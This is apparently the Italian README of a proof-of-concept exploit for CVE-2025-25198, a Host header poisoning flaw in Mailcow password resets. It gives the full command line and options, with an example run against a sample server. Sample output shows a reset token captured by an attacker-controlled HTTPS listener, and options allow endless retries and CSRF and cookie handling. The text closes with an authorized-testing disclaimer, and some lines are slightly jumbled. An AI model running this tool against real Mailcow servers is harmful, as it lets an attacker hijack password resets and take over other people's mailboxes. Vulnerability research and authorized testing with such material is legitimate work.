
PoC per CVE-2025-25198: test automatizzato di Host header poisoning per Mailcow - listener HTTPS, gestione automatica di cookie/CSRF, cattura il primo link di reset.
Proof-of-concept per CVE-2025-25198, un problema di avvelenamento dell'header Host che interessa i flussi di reimpostazione della password di Mailcow.
Lo script avvia un listener HTTPS locale sulla porta 443, ottiene automaticamente un token CSRF valido, invia la sequenza di reimpostazione della password con un header Host avvelenato e si ferma quando viene recuperato un link di reimpostazione dalla risposta HTTP o da un callback al listener.
Host controllato.Python 3.8+
OpenSSL in PATH
sudo/root privileges to bind port 443
Inbound TCP/443 reachable from the target
Installa le dipendenze:
pip install -r requirements.txt
I valori racchiusi tra parentesi angolari sono segnaposto. Sostituiscili con i tuoi valori e non includere i caratteri < o >.
sudo python3 cve_2025_25198.py \
--listen-host 0.0.0.0 \
--base-url <MAILCOW_URL> \
--username <MAILBOX> \
--attacker-host <ATTACKER_HOST> \
--http2
<MAILCOW_URL> # URL base del target Mailcow. Esempio: https://mail.example.com
<MAILBOX> # Casella postale/utente passata al form di reset. Di solito un indirizzo email.
<ATTACKER_HOST> # Nome IP o DNS che il target può raggiungere su TCP/443.
sudo python3 cve_2025_25198.py \
--listen-host 0.0.0.0 \
--base-url https://mail.cows.com \
--username [email protected] \
--attacker-host 10.10.13.12 \
--http2
Esempio di output:
[2026-05-17T18:30:12Z] [+] Listener HTTPS su https://0.0.0.0:443
[2026-05-17T18:30:13Z] [+] CSRF automatico: 0123456789abcdef...
[2026-05-17T18:30:13Z] [>] Invio della sequenza con Host avvelenato
[2026-05-17T18:30:14Z] [HIT] GET /reset-password?token=AAAA-BBBB-CCCC-DDDD ← 10.10.13.12 [200]
╔════════════════════════════════════════════════════════════════════════════════╗
║ LINK DI RESET TROVATO! (listener) ║
╟════════════════════════════════════════════════════════════════════════════════╢
║ https://mail.cows.com/reset-password?token=AAAA-BBBB-CCCC-DDDD ║
║ Target: mail.cows.com ║
╚════════════════════════════════════════════════════════════════════════════════╝
--http2
Usa HTTP/2 tramite httpx. Consigliato per la migliore compatibilità con i browser moderni.
--interval <seconds>
Secondi tra tentativi e finestre di attesa del listener. Predefinito: 8
--max-attempts <N>
Fermati dopo N tentativi. Predefinito: 0, significa riprova all'infinito.
--cookie '<pairs>'
Semina il contenitore dei cookie del client manualmente.
Esempio: --cookie 'PHPSESSID=abcdef123456; another=value'
--csrf <TOKEN>
Usa un token CSRF noto invece della scoperta automatica.
--only-final
Nascondi i log di avanzamento e stampa solo il banner finale del link di reset.
443.443 richiede sudo o root.https://<ATTACKER_HOST>/.server.pem e server.key vengono generati automaticamente se mancanti.Questa PoC è destinata a test di sicurezza autorizzati, ambienti di laboratorio e verifica delle vulnerabilità. Non utilizzarla contro sistemi senza autorizzazione esplicita.